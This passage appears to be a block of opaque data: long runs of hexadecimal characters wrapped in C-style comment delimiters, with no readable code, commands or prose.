31574c3f815629ca2e33db3b3248c1084123e100527a6775c9eb33aa2a507ec6f3ba124e9f25a6282431b768622d01e43c73f6c12510190a5239db1078c476ebec5365e299ae1a3e35a6a991f687e3d679e768068952d7c56d398cc8889c6ba48bc4a5c93a512a5059a68a7149df1bc7c56cc0f1e59ec703b297bbd5fa840a7f46738e048198402e156f8831ce7c3f58a6aaaccaab495f02f31a8f8ed5ab28fbcb1426015db8a3eafc3250df5bfba6fc6e36b0e3ef5cd8297e7622b85f5af6d625b8ca4afc1c5c8870233ea1e6b5a205b515011c7be5049e5a68eec309446273a4046f8a8a4aba46bcbebf62fe0b7637fe9788ab845a226ca50c677734a34648415f17998b2a872b18dde71ac55c68137d5d9952e98a0c8be3d355c39f2edf8dc09a4f1954791782821a4d86d10fbe512fc0e761089b2fc5db4be27fa2be457c7dbe524ec00c71fe55f9dd18b1560ac70aaa06d724d8ce3633697ac894b8c8bc83e987c30ff9770ad4060bdad6eb53aab058904c40d305a75c87a1699cf7b04df89c82749fb8773812fed718776133b4ea63ebd0190dfd227ab5f2052179b8f7e23c9594f3b75f2789e3028403f550d517a46674a0fadd1f56740fa03c4a7ad619fd6ddf87ec809749bdf096d7d2fb48afd46e90ac8e3b68c1f369ff39efb1355adbd77d42fdd413f570d01b0f7d7bdf8340a60e868602320aa7e0a91cb40ac13da46490ddb5d24f770b0961a647feb87360fcb77a67df0a27192f6676e15d429a4522223d04c7921d1320d62da7caa46c50e4babb2a627ed09a7400c54337adaf67c5f86ea8b642cdb81fea75e5aead718543d720d29da27f93db8e614779f078e96bb629ee35d42b0a43f6a47e602779262883e4779296e60b49d779ae9f1043860a0b2179c643052f274bdde162412f4e165ef57958a3893dbe5fdd1c3e93505f012239bef546a8ff98f9e7c71f2853a164a910ab02f24170372da09028c22d5f5a40e66cb8339e195348341d6c24527f969080eeb116588f35b5932fe814d357e3cb8fec57432e25d3888742e586f5110b8ab87696823c1d9e19dcd80f8214a05ab3202537e110c614792e2f36821bad294588c54d8f9c29f17bcaad21da07d6e8ad0e4240ab0d993512707ec0d0a01db995d91216dbb6494c946ed555433148a5b59579bb4adac19f4556ae1135c601a0b4b82dd1f9c3aa9dba16b3a8a62b64bfedb662eada0353e742f86051c47d9f816ee6ca3d40028da2b14c785fed887fcc4c8d64521b7fbe6733284434522a9b116656f90a393b37b9292b1528c219eb74ec4e34c8153566af016498c52089e97d75cfc810775be07e96f6160108b1f6b2983c6cdda255f92080b45a95b07d8112baea3da3664b3f0f6*/
/*674cedd9d7c6a36547accb15f0781c5e1d047d7b299b06cbb344a75d09758345211f602c32ef6c67eda4ec9b2afb3ab62dfe9421594f033531aa3878fbdff8ef145fb13018bab4ba0bf69e81246bfa261851a0174c08b7adb4ab9e070210cc3fec1bd63446bf2cbb04f5071dbbff102d503fb04440f4b09c70350202de1fe6db01322b22661e618713d214431196761dc490ed0248978d9bfa41c529ba6fe00727524c6d483113ed6401aac014389f5ba2873ea0facbe083b610052cac79df4483437ccda6433d7cff32905821f8095a450c5d73da1a49d5ae7f1dde38c76d47f9b46fcbaf553238bb7359d3a679c8a211bde09ccbd16b475446b173c704b283e116b65ff27b7b70f8c001440d40298084ad88e77d7742a6136a205e0ca8352134e3177118b2316980b5b62787f723b9314442c8f0aa56bbfdfe12ed415418550dc841a856c2d8c0cd7839d1e16d44ea392eda6d02fe56583cb69c8660c4e58801a163a08ab96958a2877b856040f2bc29e83324d9423ee5ec073f5318ee48a75f7c3c42d257923f0745bab0708af344edced6353c25bfdeb59d50037e49712d25ac0be6e5088f885e19f80ea38253fe856496ad071e0e65716384317c8e845668a232857765b1ad5219f40457fb8d13641dce1f992019e112f615013a8eca04cddfaa119251d082aba3eec161494dd1ad2bd238ea7ba4d1ad475ff1c176e636bec9d735ae97708cab36e5568bc587e5d1d7564dfc389a89c1d79e8f9c361d1de85aa06bb40ed344ca56f1439cfb573a283f94fd60701149f3239e2da780fcb8bec7e886cf0897fa18c25154d1a9ab5be7a09b48d864dfe346a299ee98950b357e72507ee8d8cd58e57c40e24ef67518a490be7a3d0e4f758846569b97a78a5a4861c941ad5f242d968802ec2fd754fe27b2dda706372ffa7bbec6c53e52a9529df2253b7cdfcda906bf3facea65c8971ecc0b37ccaae4a718544254b0c50e6f246732ba2b4316959974d8da78044c91b42c98a1285513e4ae2dc15432e24fea2885cc1a23c64b7a2f67f99ea5fb5ab69a1eab462101003091a19848f8a4a9746585652f6fbb5cf4027be80b86d08c9dc056376a7ef622055aa3fb64c92da1f9a78308584994420ddb954d43e31992bc11d93a829590871efaf037985a1e2e6a65b662265d6fd85e4a7ea7ff69f4dec7cc090be1273e974310b7c85f47cd4954e7ff050a56c874ecb0b9d101d64bde162f193ac88a7f4f21dedeb03182821e1395d267f21ddeeab3ef1a42d937725ed7bd80804f918439a26500cbe01eca5ac733ab3a04871fa10ba29b1b4a9f1e947d401cda38e6cf940506424790b0ddb20f56e44198435eeb8cc7cb9cd343c6873dd782647043605aea84e6c4bfe3a958f2bda680436a4dbfbfd5b29b730a68a8b1e75bc2941fc6d36e6ffefbb0527c881d13178441706eead83817a35b834e3fed7c171683868080ed0bf53aa2084a180d5cc5cf6c3b689f04142dfbe62aa4e3c10ee4d5e13f1452bef5d54ee7942b26991a8ffb4f0b408c98170900b007d006f33fd7ca93e137da35ba54e79a8a2d1090a92a5bf42d65f7547317eeefb06eac07d29fd20489771288e9485d7b56455263bd181c22a0ed3e719be469689b37ddcf1486f69d649ff0d08d5d0ba886b96a7adfcc37a0660aa04b1fb848b29d6bcea147efef15bbfe6cecbbbe43b05a104f6877e314380229f2820a6e00dd73c91e37a0a4b79d69f436d20a5936f4536e181c498e5f05b65b015285c44fac2ffb3f0558efa1ee9b9f418b9335bb6256abac1324cfaa7a9194630d815dca7996c6fafa769f411cdb417ce808531867dbab5ac832b41c8ff35d8ec7da27f95e21d6eb0d255832fcdd0ea452ff4537c421f2b8bb36470bb97749e4cf18c81d241c11122c388937f3c2512676cec4cd2dcaceb877e163292590b560b8cf1a0f74c64381f36f8d05190bf55a5ab89fe669c9b1adcd1105671e4617d2fca688c4369b06ad892dadd9c73066087ea37f3cc0e7cea614b210a2f69ae817804127b1042aa506a3196b4bbef8ee841351940c6ddc45eec0d016305bb0fe43ee64a2cce6a6dfa31bf2d3eb2313a35cf3f33957c9a50031fb9a3930009b34543af3006b1aa2fa9f77e21dcb2ddf24de7e1280f93bfe5567a0a132c973ed45de7dd2b656a855b5d81283388ae22f9d73bf4a150c768ff5150e50ceb8c4bf6f16cd0f8dfd47d3e7df546aa6777fb2b9997099388c71d7b49b0e69343d3a9ebf708e95068037fab0f00e7f7de5c2c583b76a3a901e0247077c27b400eebaac51c126e802faa36229b4ff7c4697c764d52c4b7d2d2806a92d5f77c5fbaeaef9a05ab7afa901ae955cc9ab237c24a88388405d5b0f73d4d2e7aa7b62cce4734e60cec73fa8aac86d0762cc3c71a639e99c4a1ddf95938b617e8064619a573d5397cbfd393d5a1eaa57e14f20578403f14d0bd088d575603aa253d2a19f4932837d71690a5e44b4c0cd9ff2d9bc0b98e30b13546248e58d44c6b48da83f89dee38c90a3b165571684ee963265b2dd2454ee73eb90ad8c43568da35088b2b486dcd66fef3a2e182aaf023ea568e57d6ad854a6ea2b81690817c3f50b7594be0b5aea9a5107e336faa95a94b8ee4ff709d8c9177886777775581c60f1481e3b12a44bb893682f8949d78324babe513a5f9f4e4073b6974bc11240d5aa9aa26b633972bbd8bfccdc9781342a7a0a3107a98f411d6adb1cc5abe0672e4f6068c77c8680b6da7fd17591cc0b467bea7e32696e77dc1a923a98ef0d27fc780d409c99df9f0d4eb7ae468d7b0a81c1*/
/*50be063b559e24009516b35d5ede593e7576f279a0a33e4ab96b6cffb59648f14355a2083f7af61a29a109c41f2ff267337427b0b88378ba51ee5bd203c44cba734e0256970b4c905ed9ca967bd893b5945f431e679c2d58e0a2fce1c12f98f9c12f7bfb790eb6553538ec5ab920b731235942d5763394ffe94cb114c422e26cf92e03094aa80dc00a9089115a7e96897526b0403f331abfdc38198b87deef617b2c303dc5aaeb83bd5d88232da8cf9e28a73db866e8d93a00db3298cdaf0507998a1e04bb263c0ee91ffeab5b54bec0e7867c2ea31aa16c2a5fefffd81b9c38e063e87daa34d0bae6148ce7e99660d702720f1bba6a351f34ce7f8f2587bc5c3d1b678e2efd20274fe8e09e910cd5ccd71b40d1b8b443750be91e9e5696b8c54ecb7ee1f09fe28e795831fa019c18940a81be9cb516a8ea2d27778664386910257959d81307607e1ffc626a977195acb0b71f09d957ae982fbb20d3415560c3a11359074c84a2bc0594e1f76453a99e95a1eea337961909c115f9ceb4a9d55207cde413bb95286cdc5f9467aaf4e77b1f6bc68cf2c2cf6a43886a9fff238bb45ff1702315506630b11521ff9d58ef55e48e6e6bff2ab21e67f913bc93b6c02c50adc8678867d0b5505afaa163dcc866765caf2231b9b185493d425359e31210a26e3b74b269dd4b3f26d233be510c625b6b601a00bdc1527a22bda99ed455c9ef5acd650f0fae2320650a758f837a7f1aa0308b4f866f805e03dc3631a1f32f8b9194c703ed66c66d8f4c22b68dce11be2777b3c7a5b4efd2dfbcf5e7bd3947a61b72fa2dcec61a2fdf7aece17ce3758eb9d08660a1a110ddf2a4db566003ae5c7b3828616449e1aea01ef72a59ec71e46e662798f60b2da44a66486cb0d73e4749cf191d4470eb18821c882c325e5d6b203c4555a1248333a461e8701f21745beceb46a5ee1b2d31e979e7633e94e958aead89727bd6e2ef10bc4b621d17fe23e08117d6c640033b8004ff890f653f5791ae4002c23e0d9f930a762ad943e5ce49032118f177cf2af8a929d165b3ddb968d7e7a5b5bd8dc8041b9ade8cee5b5ddce45dec73eda47fc95d162a967eba5654e7c137336e36e75f29af11b1022f64b4dea153940495a74b58cca29656bc9d705387d0dc728ecea8376cbccda5c80430ba4c3b3274f168521e35859fc4a48644d0b5cb998cb8701db4c4a8b4b053ee90c7be575075b39ea778cad79c786ca9871d4751f0a9482a0a0b8377f6859b59ab716d5f863fb5efe6d27c936593a5779c326bd87545725c7a288acc413cc221649e8aacee1f16e34f927e6a1c65b4cd5905c4b8ab0462d984dcd606541680e12a6da3d68aa5d9ece8afd178ae8e2f63d0393645d635b0d9b3205779b6dbfc37f48d6cce4532f3c31bcf6ab8564f17b4a90f6479d2cb1bbf64728ec61380d6245b47da01bd2e011f34f5bd0ea2dc83f1087c3c2d3979502e6765fc62d99e2349fcb692faf3dc8e2b09f85f09d83706d246c49dada68e53a159fc6336aea52aac5bc8431cb15da903e71c0a1eb437ca243ee60e00474a9b24bb38399a0f3f88b66cbb057a7b44337f66e270367fd2c64e08805d6d9f4b516de9bd883ab3de40987b633e9262b81bc2baf1c4979022d198a545ea71c7fac1bc80f0023c523d9453688366756adb3115feb8e0aaaf8beed1092cf20528e7d3fe83ead09b8e9a52539b092377123a1cd99acd8d606d6f2cb7668854e33bfbe445994da425c0821b46e1b69ccbe25850f5772bee56fdec6d4d63f02451faac7b5d566239bae36da83f9142acdd0468a5d59a8922b6b260c57061a629605b7248d7265e7bef9b69c062b35ea78f92c9bf199a0b95e1d39979f8d6b6b897f5ba29a79223d01f4171f05ed7b2859e84f3ec8f6bc62eb803061fda3583f07361353f6491f9675939a44fb3064d5f9d8b456071d432197315b3d649580c741a7ad907a9b74bf4225a59d3a6139ecd08dce38b700c7014b9ac00be648a4ce5a7f02e03e17b2c7dde35316aaaea3fcac724291e4197d82106402102da45715ebb0e4284603e811355fb01bb3eefc0a350d0311dc49963ec9368c0c65aaf2407f28b6f2163c751bf1e702fc0fa139d32450e8dfb72196c84705c90b96647978ffda0daaf8c25e213ab8351bf143c7fafb7787ad69c721e4e875024e61245a8978320191640b3d619692285aca7c4205d58522c60fec0a876e366ab74335086a8f2ac44a1c8caca925385893347858877e6d9bc069dcf28aedf5d9c4213dd3f9798c65d7b896ec112662dfa9b2f52e18374ccdba869dedb24c62d93793858fdd16cd4635315ece5c87b4484c319bb1a6d6bfb2b526b8841f6610d35c3235042c9dd5a9d0d57cf7b15aa280f3f5dd2b445010610f9f8a715efc6eb801de2363d77c8df02e0b018060622b83eaeeed70d1866d4662c18d262fc983af8e1692663a4763e600dcb8301684408d722037cae964897a72e08e6ff3ba0cf15875f90381f78cb52c5de1e5e2e2ace2e132c2fcda9f807c0060a4e84528190ba2034b76b3e6e53f27976ed9aac55e2bd7f7d9eea61017e91b62c9053df6d8a76f06bdceec56dd03db3cc491fa89039268efd20ffaa180d1b2a340cee80b83acd095c1584a4871b6acc0a1aa35c3513ec2fbe7adcd0abb384df245db6ff763eaa2e920794b5e78cf64439aee412603cfa131a2fd57661bcd7d9446410170a074d55cbdd8f7b86e68a003a8f75beb250a5dcc4153ae7754f060d03cd87d737c5147f373347c5827a126bac18d6006c6f49a59420c3ec06e9990a5cb82d9747237b00*/
/*a69b1682415dbf6279cea6933f9bcb8ca4d915b98c008da01e9d41c6a3f992126cb1e841d929ae786ea17965b27a2dd1c13d0e1edb8199521f95152d905400c6b78af73c9efeb39857212a94393d54ca79217e230e391f3614c3f62c2f286e84ee40f68e28ee10239749d9e425a5bbe90f97f64882e32e888a32616ed3229e04d371b5943ae207ca42e587e85f8aa051bee0f79179d1daaef7f6c63e40afb14f35d6212d4ad54c92eaed2427b2b7bd823c286aafcb6fd1a4881efc04f90e8a9d29c3965e183964b0a1ec6076615a804fd2e16628c1f0ecbc9f753083dd19ad0b3b64a43dbc963232a3bbca92d9b550f74834399643ba6421362754b320a7f1d7e244d74a0f2bd667440ddc8caa97a1ae4b8ddb07fa7a98cc200ec97768fc018895aeebbe0a5705af632d471d679d7ae24c94e2f9326f79d4636c242c94e452f59e9568c4867373e988953e6fde7e73abedc77c1c86ed4fc06e04d7d919a3e7f9734f35d71e0305b322fa24e889e3ef04e146374ab04270d17a57894cf680918834bda79397a817c6ae0abead645c611813efea206ed0919a160af582dc29eeb794b405737ab7309b6048b703433609df7e40ca71e1f5933e925c9b89493cc91707b766a330bc77715be63588fbb8fb21da6c1e2db41cdc9a4fbdad19153ccc25660a751b0845b5c62d36a5bdac0a7814684aabcaacd060c47a60697137f6eb8701d5d306db3124eea8b5f8c04567f3ca53ea8ca7db350fb7bd72714d1606a727ecdcaf597ad856c9b2fef7f94f4d67db17a354e4e983b6909d2d82e2a29fe6f6cfab036234714cbdcd4a8eeaedd5e307483f3b4608c8ad9ca5a489f3e9fca5fd50ae3d448e23bfd1fcacd626aa50b3eb4dea8d28d3d8fb09735fb091bf0f7c3e658ab5d3f4664004492e754eb63c4c60fd2c1b3d0be216cd67496eb55606966a267353c5cc6bb556882436b348e2320954eddc78d71d92ea495c2f0f86c0274125947ec6f9666a5eae6be1add44a484a9efed1b915bdc3f05568bdc81769fb1d5498a7da7457700bdd43898f32d17ef46aa44833624dfe52cddb9f8c258ea6639c727f546a6d279cad7268ce90e4113acce7e3feafbbd75876b13789d7df3ef4ff77255f87c3556d30522ef88ca59e843849f8252651c1c48fdf3bce1089ccfe627dcd3452c9624861ca5220bd8dfa1e4f43217a952095c59618764ce1ea7efc969b4b606dea8b971c440f3d9f7dcf79504f446d63eb7a83ad7ea02990a27f89983a58466b93f5eeb1cb5a1ce2c8e186b9a0227af4316d8e27601e135a67b1f75ee050376757434188e37d26bdd6c2f13396af73e3015e94b3069bbf4bf8afc8bbb984bf6ab08e37390a025cb441e5ae7c4896688d4cf772faf3aa81667d1431894b6f715524e1f00498e51179e8fff802eda308d1ea51c7d63a1ad270c27ac85f9a9dec4f3921f9d041058f674861fae50cb9bb2ec189e76a2112af32bc3dfc40293df3ff477fb1c009d1d664d000f89f054811c27870151558f5ef0bf5c8a2d0cce4a3c5393c5b7644cb16f5732861fe2fdd9430110ad822cbadc8ec87eac4f1bf534dfac47b45f4b5ba7ef34509e807c744f351379e3ee9fa1e10860d9e99ceb9ecf53fd3522effe5d7ae4933dfb7b0626f1023715a4f0ad7f232d1f785884c426bd7768ee6a545b00e5d0221ae092ab8890d921810e4bb0d78891c0a90ca033eec5aa85a0d3f368bedb86770548f4e452dc3d5e73ff621e51a5a2e23e5ecffe40ce7fc93c5cde0417a22fb8e74b4515a11fc3f9ecebb081b3b5a65c9542b1538628269ed8cfbafdf6f2b5aa11eb3c74f055a881a5ccd029d791277ebe20c0168c097a6cce5c9e0884e7b0a90c9bc7b36b830879754e952cc23de0811d1cd6efa96d8a929ee43b148acfbb44b5f275c2905c941d5f9ea46ad8b94266043e88e7755f41d32a39420be02aeb2c193ba6cbd0c71297da286ee13c8721f0205388a65a88396f655cbfc25111af8142d6a54d297925577ac879c4c6f84c774b77ae9fb51e07687639d6ecca11c8bf16ebf7a6fad55a11240acafa63117fb68f0eb4f309437b7e5937bce755d38d4f480390efaded96b20ad6bedf4088d8ee0794e3018ab04baab4f800640aa9eb310e50cd6471912099b936fe80b0f3a02e3f295dd6f705233e1e4b6df85290f05a68b6a5df777fe9e4a1a872b4d8a327eed6c3f7bc49a26b214c49956e9da41b585bb94820fa9ac0858971e968fa19a579d8054a7981062d62dbbd708f822e7502164156c3744e5fda1dc79182963cf3936b8e876ecf8a6935a3ce8edf0146690c37d8657c2037a3d21c0d5b942c9dc90a4ed58b498d9608359b78c68c7cbe2d2cb30b2507ecbb48c750d9f0b114060201128e7dd1a23c4c0a277630a055ad37f8361ac76b89359b91cbea15d75d81bb9bbce47829aa10710845203297bb0ec10ae465aff280fe8da36b9a3c96f6ff9735a3591d51ff94da7a46c0d614908254748e536820b692a7f4aa5babe4935a6c9987ade188839048107f5cedac8baa903aa71ce2b84656be9308e04c4c0ebe190e5d6ea2bb69067e5c4af551e8a35d43cd13b6ff6a8b419a3e05c2153c3dffce20162f5a4eab98faef3c53db43ae8138e3d47f242a210cfa4db68e92dc138c63a4e9c9ff3d2d6f8e4dd139c1fff1895d40482f5f061ae783cb5b3f53b1014f14afb273cdadf7f2dddbac74f532202ccb58dba5987e9ba26ceb8f57d3abf579f942794288e35a930fce15d764f766d7b206837bb76f78ca4165d085b5325a887040b6ea023383c425caedc3a2611d40ae2d2352f*/
/*8b345a57d961814f6806c18c229d3c815fa8f800b242e86abd76bb45ebdd84df3e47632f1c819ee71a39f3aa6c6ef8975b7382dbc5f423a9d628721c7a88cd8bdfc73f11470ba47e823d20043241311115a48fbbb88773d719fac03b00e5f6fa331789aff11c5bee59709203e97ac69db94475b293c90f83d8e7e1f132a298cc21c8eb61c589d30a729e0e3b86248bbe60fd82da4382ba099e32d671a954bcd2f3361141157e53396b74bd6efbab6ead817f080ac90132ff1b6f912c4812e836a7dca31579b9d183a75c98e5c9e0f44c1a0a3775564a110908ab9c0d91ff12fddf28f4ec73814479f4e90b63c609a66e1b75a68494be6126534bc05c3fe8ea7c6089a96a880eaaa4949ae9bdb972fe66be971f1ca2d119bfac5d34bf7d510b10ed6e2bfe826613dd508c5a7ed459d48cd8d132bc7f1a0235e88eb26a1134433996ec9b293796c1e372559f2e73e0330f1dacaff54622fb0b1cf7f9e3e393d1012503e2565b9ad8cc2975b02c8435310fae1f8b9e19da900ef51057502092d8ea01d68db79fca1ad7b79ed92874305f1038d92275e6d7f5a7bfa3e77baa153c8b5f847a818f292038e957e0207cf0b717e18b68a3a2387a6287d6a1d5b524c7c1f8208103f98ad83ad7c1ee22db581b99539077cc56025b821186845a202f39562a4ba2bfcac98a96ebb04e4c04823f11b5fa6e3ae66191dd4165a9c195570115e903441dbc2d6dc323df1b2306471e861076454da245ef3cedc0ee2eae2b38cc8c29dba171ac74a0e696bfe09b118ea0480e24ca89bff5bdd6944c2eb2f4a0ca6a0c6a2a8a4afed5c37a4602f1fe78a768375143aba32db310c8f11f1eb11f01ad11e1c269cd5ec589c582a42103f2bb06ebc0d4cd5df94ce49af9377279ee74b99e487b910cd2b20e1ebedbd053c2bbaea384b14620336f863bcd3b121b61c4c7a9da1ae6d50b0a7aabadfcef8534b99a35affae9594ff5380e8e4ac5db549002d4276998623a6a2c78553dd6dda1283013ab6adcda4e91db67fc41f7debdc494c82443ac75bf6e28ff129ad3c5c3b9b0929868288c88ffb11062192b00e98951d36145ffb3e6561c74c24ddaabc4a796e6351c902a1cf4e01865eaf42ea325c21d636424328ee1920a4b55aafa44d8fe2b8f6a708f6e77251ded20fc2a9bbd3d64e12208231056f051b5a973212792ac5c5a94dbce085621ca00796d58175a06ad92ba3f8d19c9a0a69b609626c8bd9baa33cee1a5e23f8970ee8f53fe0457bc5cbec74219cf7f5b22a11e2a314c71526699c435970144051e6aab8b385d5ed70d5a1107e2489e813f2733c3e1ee3056433121126ba18c35b3ccf91fea306477a18a973b73598c0be7e3110be6fb57d0ff51fc01839481218697b50d0e83122223bfd6be92710bf2b5dea6d6270c5b5770d5d84592d31cd1f26f4be4beea8a1c53f5e89ecbc3497667144733d4a3d5771899ecb9fdd78b5e3af63ba86b3d6a5e82f90f4be14eee02b2804b9ac36dc351e37fccd5379f02783f37bff401074d0f938948446e078920341d02d1bf9cb039d65e755f96b704c0adda67ca7bb3d00af164dc1f0fd8e2f1aafa92dd5d94a30e6d4e8542b51bf5cfbead904db70150b456bc109dba1602429d3b3b74e135636b41e8a126cbff6e6ceebd028d141a22235a76c66c11f5f401cd3f342668cebc1e1b82612d53a3b3797069d053b9f848f0a9c77ce00c5175aef2945106a45cfd99e277f2bc471c0ac256c72f816ca185183bcd4a9553f7d3262116140503c4ff53946f9a274147f70ab5dd7ba849db08b46447882ef4fe9c9fcf5df18071a9ac8f553b41fc112af0d07b8058fb8938eb515e70a5b8ecb278028f937175694241a8f2cf9e23ae0a57ed8f7c4d2521216121993647d76bfe59d9250799997d8c50a7edd74fc9de6710c94efdac7c40722c6c0392cafed7ac44bb2cd49539b50c60c821a9ac331a5994128119f6880b20ae21ae36ddee7247e2e0134b05cea835258004fa31a1ae91a796fd7f259aa58cdcc061c3688684577677c3795017ab6d4208f658a7c6d67b6b7a6a1e3dc2426475e467e4c9bd84d129fc32d73862463f78d9405fb7080d056dd986eea71bec544faa9cbb6b47b7cbcf4d9fc10ffb7adbe4708dd979e56b8117484fffbfd552e79fcf0514f0d99de3fbe5c830d221e5fe91eb85cde0d89cb47f2f01aa9c5db8f31ae858590717d4a3809adcce6ea70311d5e349859696d68cd571f72276ce792227c927dbcbaa65e09b3bf5ba645628713436916c41c811f0f94317655d4de093202efcebf71992373219b0991d7f3ceac8715e16fbfe844bd7dcc2afe571d364e158c9eff09f05b2864c9d0520ef4d58e7486249ef28633d6ea091b90cea4512792be8f12ae8eff2aa4c1de832605c49af0f12a7ecf72df17ed9e9b9b409af9c2d27596023fc30827cb09efaff504d9c0152eb022fb3eccdd63e0c7d5887ab8e62be21e8022c3fe2870d9968eb391f7c43accfcf418634d24e89b339351d92666dd84034a4e3c2c764ef133adc829578d23d7e05c72b3bcf6f1ce194fda167a945e4da2d9160650ac89fb475a38c4ec25b99461eb5266e68432a0e8e06a216f7d1c052a486b5c9729c8aebf4f3d60480503ff83365967922a9816a82a340cf3de3ee3fe485cc51eab0f218ba220800aeb032205f1f39f554fdef19240533f32413a2c8e0ca9036962b3b5cfb32e2eae63e63a6f1c69038685121f94ec827986b0b87c4f0467c9f9865599f5cc73b3fb7d75ec93d047f7b0e9955b94ed7db5c18d5c9891d25d44845069f29ae230ad4a718*/
/*7c15fc5df9215d2a931e233cf178a63e8222ec6ba059fcc340a5ceca6e8557f9258de92dc3df1541aa3bce55b4bbb80bfaf820d3a5cc796d4b8ce25c82420f928fe6f705744413f16a65db8658a73fb2953ebce2dacafc83a0950a5d8430bf57bbe7af738af317a48ff990d5c28a0fba400b231f36e46b77f02810429f593085bc0ede82856be19b5c5d125ba0d0ca20fe4315fdb7fb51052fd02a1fd142fec96bd133d419de22631f6dcf4a63cccefb143e44eaedb1f902cc1ca412ebd9a5d993b338b15dd0426ff60a33bf2e011cd94a69ebd61ef50e2d1d04385f91b50403aef8295c2ffda058f81eae97db54446d2cff6f0a9bc735516bac92384d5a2c08888f74b6cf11fbbd9d9fe6e2f7b18904c147a6fec3ca47d0ce57718b7659115dd8200637fbb2ed15174a123c951dfe008acfa68f499676f5071242a95f8f8de98eb9e6178b5bd5674cc20fceb3e2663e538844356e6c9eb10e9d836627cba50a8d064db2e16dd650e77cfb6a717e4b17f5bad71ee2feda74bf51abd7ba7a97d924751aad7623cae477adb201e977de18728054d37023736cda5d2716250d247099c9b8ee8cfea029b18ab97a5df35602c7ef5bb4a8e6b5861000ea12e273dc79979d6488f7cfc1e37969fa1889ba3acb11ad0162fdae0eaddc94ce4198b9793b11bedcab5faf0472a6dea0a53a1c72e99bbb7bd1ea3f951258c56e16528dbbcd7da89eb272da56b16e4feed1a093df463d908b44b13476960fee91c8f817e6e6990af7609c359f59ffa04654c1d55d02d94336eda182eab8c5ff52366447e0eeb1802e9fbabe92779563ddde6fe97b17bf997fb9619a883a7b28fc451f9b701b37956b93a41a509d172f46a8e2bd6c2e721fe1a3857827a6f99d46d043c5114c6150cbebc4b22b5a013f1f4c84755f9abd484a336ff2f0aa6b1b653b4cb2e96da82d956408646c779b5762c7ad191bd1c95fbf3f8236d5c45ec808cb0fc23b89a374a489a4d03df21e6a9db157a5c1523caee0f950669441c523c3c5f034db89bb90f6b171ed4a832455f78b1b9eeea23474898d70f11c6250267ed30d964242f4e09920c4c0a8dccc03fbb603bb9574edcd07b57001cc312e8b0157cfaa2825c621841cb08c148e8652b04bb5ecf7e73740fe1c8a52fc74b74573c4a7e808c7dc208fa09881c01da1404c6ee39df77723c06e8919deb3a1e814b85ef61a3e31be9cc4f09656619154ebd412045a8b7c0644094cab4f7cfac8ff4ddc370ed38084b8c0377e198e543ad9b6023ec2cf37347238359e86138bc22e152f374e1cbee228b1d428de083ba3545c8e40e7a3a9b0b1aabd4ffcb7f621a7fcf4e8f2b89316e39abb3c21682e0c1c9d145778c2c169290dec2a49f9042ccda800779124c52ba04a12c9a0ff8b18c3eec271a8d86547b0fd51db48428cb8a57f79511e42d28a43592f1ec54233d9315730508b355fd975eb94142661e9fef09a83d19a2f9d7fe31f5e8125fa1a9e4a01cbfe5995ef8f1fe04eee6f62493a3d872824969e902927e6070e30802226a091990d47632549a7374a17318e91b2ed159f94edf15182b2c154d5da12864e5c902e52f9283c13fdceee61bfab0de6f198d3ea442ef7d8f040ba6d766acf01f9978b38f951988d8f9a5ba3be74bb188f35ea105a730e6c38a84777b1faab0cee8087c880d824d137d4df151d34a799e1bfaf86cbb9fc408c3aba5f925ff9a01479466080a33ecd38f6c3e1009d7d49a4d204bf0fd4ac9a5942287a5e1de6366bda60735b143ecbc5f535645fb0977eecc55e773aee2a34802bf695e79396d17addf6da390134819e009a40e082799cdc2d0bd27cdf66d35ef42ba2f8c80cf79f81d9931e6cd1b3dbc986e6fab3be30ad2a9c797000e8a9f5de7d6e1f75f81e1b905319880382742647023bf9a09b47124333a29b789c1ec8ab5e592c46d458531bed7f2ed3fcececba3b1bffddeeced0233c6fb6f3ae1788b35dddc8f45fa925be21ea262cdef549d420658727f2dec6d6b35929c736fee9c76b6b59c02d6697471ee5297e999dd630e33bb5adf5e76bb2ec7c6ffeea58ce7d06425fadc7c2edb92080b77b315bd3d1eaef96ea257e9eea7884133e1c69b4febbea098fa4acf1e4fcee5e6f51c2d0a627a7c7e5d7dd0d286fadb5dd15a4a3cd6feef6009c97e43fd90c1a5ce2ed786cdbcff5a5155d26fda1ce21bec02624f6196a4786689e213d45bcffc63b7540a70bd122170b799d073ce16fa4a628d05ffd01f34f7db68429a5fb809defd95ad5b8010cd1e61b813420c1cae9b999fc97e729cb9ffcf10f91eab12a1d287ed99ef183c9f114083af406549bc7ac3cb48af0c6d767f63aff3526efb708bbcd86c4cf96a003000c54fe76fd9c6ed72b1c2d721ba936a426a044ce2d835f6ef93e56c4dfe14303210cf1772cb62b0022252ae1979a7ed6fe5d655d5aa3cdffbad4486197364560d85ec784d9a52e567ff070c310933db6001629ae805ec1c7872ca50e87dfe1039999e8fe4ed2936c2aa99bc5c69a0f3168cbc3026aca99d900ff6bbba04de18df966c288dc37cecee60875e4a80522f7a4627c513ef06409964484709caa362cd9882663cdf1ea4c1b44469c696a3d869571c5e0410f49657cae0c71076a1ae9ddef23c011776fbd258289f142e74c552f0e6f56e7fe770ab35d72816919f482e7192c4bfa3aea810c15ba881bf858c4739fff6b6b7a4395276c4491a4bf85fb4155cc8057d70d204644eb2105e7278d398ae965b05bd5b82b3e016dda4aaf83149bfaedb061bb50176f4bbe58e96c7256fdf1b625f7f3f0*/
/*b8e1919879e8a3128c50ae8dd478f0da8800823b0ce8c0cbf39f3bfa9189a6f828bd83e016635a184a8586b757d14dbf13181e48abc53da49e78dbca2709fc4e2ec4bfd6dc81ec0b92c430b3135c3e590bb848923ff31b16b7c62690a993ed77f5a3f65a915987920528e5add561bc0e5c9e83f5aa6503ed6338475c32653f80220d30c9483bcab08704d6a361cddb04a9ddd6d426007c193ccc51cdeb78e3fb96d0e7bb47749ad3a45f14bcaf8f81c21c9269c960024a6a0e712a7740221c412f1d8182e09483c0a7e2225892afe19337834ba4c7a6c6de6c1ea6bec419b93f8e7d1c55499d95696f12caad8659d278c52a0bd8145ccf7de1f5f86639658700ca25d3d9c89bc026ec34962c47f1f763792c5e22ba3c84a2907ae80eba696b4c86144ccf407ee2159ff99d136c2cd3b4c6c708fc8c8a203787dddffe21b1a618080826624c4bf62b2e898be6a297129706a783a3a43a9feed75fe027cb54f02a6ac6033e7654d23a6b891bd76fe21735da0e1831c2f4dcc81304459784e7a00b8d1c33b4ef709f828729f02bbd7dd1d6b46e213aad60b2a38386994ed8e6f7b68bf09ad364fc9eb356cfe695ddfeff23bbc3ae5f594173aa8d3b0ccd17c742c32a2babb4e501669132c3d32eebe2ba030270785ced1c88c41f905371e8bbdd004008f59965027baa8c11020a5fb8a44b95278848b3bb14bfd91